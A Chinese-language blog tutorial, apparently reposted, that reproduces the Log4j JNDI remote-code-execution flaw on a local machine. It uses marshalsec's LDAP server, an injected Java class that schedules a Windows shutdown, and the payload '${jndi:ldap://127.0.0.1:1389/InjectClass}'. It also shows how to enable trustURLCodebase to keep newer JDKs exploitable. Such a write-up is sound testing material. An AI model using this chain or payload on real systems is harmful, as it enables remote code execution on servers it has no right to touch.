Log4j 漏洞測驗
緊跟潮流,介紹在windows下進行 Log4j 漏洞測驗,linux上步驟也都一樣,
1、參照專案,專案地址: https://github.com/mbechler/marshalsec
克隆代碼到本地,mvn clean package -DskipTests打包,target 目錄下會生成marshalsec-0.0.3-SNAPSHOT-all.jar
2、新建一個普通的 java 類,等會將此類注入到待測驗的專案中,可以隨便寫邏輯 (生成檔案、定時關機等)
示例:功能是在windows系統下,3600秒后關機
import java.io.File;
import java.io.IOException;
/**
* @author rxf113
*/
public class InjectClass {
public InjectClass() {
try {
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "Shutdown.exe -s -t 3600"});
// new File(System.getProperty("user.dir") + "\\" + System.currentTimeMillis() + ".txt").createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new InjectClass();
}
}
3、對上面的類執行 javac 編譯,然后啟動一個http 服務器,能通過服務器訪問到編譯后的 class 檔案
示例:使用python,我編譯后的class檔案在F:\log4j2-test\src\main\java目錄下,在 cmd視窗運行以下命令
python -m http.server 9011 -d F:\log4j2-test\src\main\java
如果成功,瀏覽器訪問 http://127.0.0.1:9011/InjectClass.class 就能下載到class檔案,
4、新打開一個 cmd 視窗啟動第一步打包好的jar包,
參照命令:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
示例:啟動 LDAPSERVER,后面的路徑是上一步的 class 路徑
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9011/#InjectClass"
啟動成功后:控制臺會輸出監聽的埠為:1389

所需的步驟全部做完了,接下來開始測驗
1、運行本地待測驗的專案,使用 log4j 列印日志
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @author rxf113
*/
public class Start {
private static final Logger logger = LogManager.getLogger(Start.class);
public static void main(String[] args) {
//看了下其他大佬,高版本得手動設定trustURLCodebase為true
boolean trustURLCodebase = Boolean.parseBoolean(System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));
if (!trustURLCodebase) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
}
logger.error("${jndi:ldap://127.0.0.1:1389/InjectClass}");
}
}
運行成功后可以看到,定時關機命令已被執行,十分可怕,shutdown -a 取消定時關機

2、再試試 logback 的方式
//import org.apache.logging.log4j.LogManager;
//import org.apache.logging.log4j.Logger;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @author rxf113
*/
public class Start {
// private static final Logger logger = LogManager.getLogger(Start.class);
private static final Logger logger = LoggerFactory.getLogger(Start.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/InjectClass}");
}
}
運行完后沒發現問題,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/380412.html
標籤:其他
上一篇:JavaSelenium如何為新驅動程式設定動態變數
下一篇:按陣列元素對Linq串列進行排序
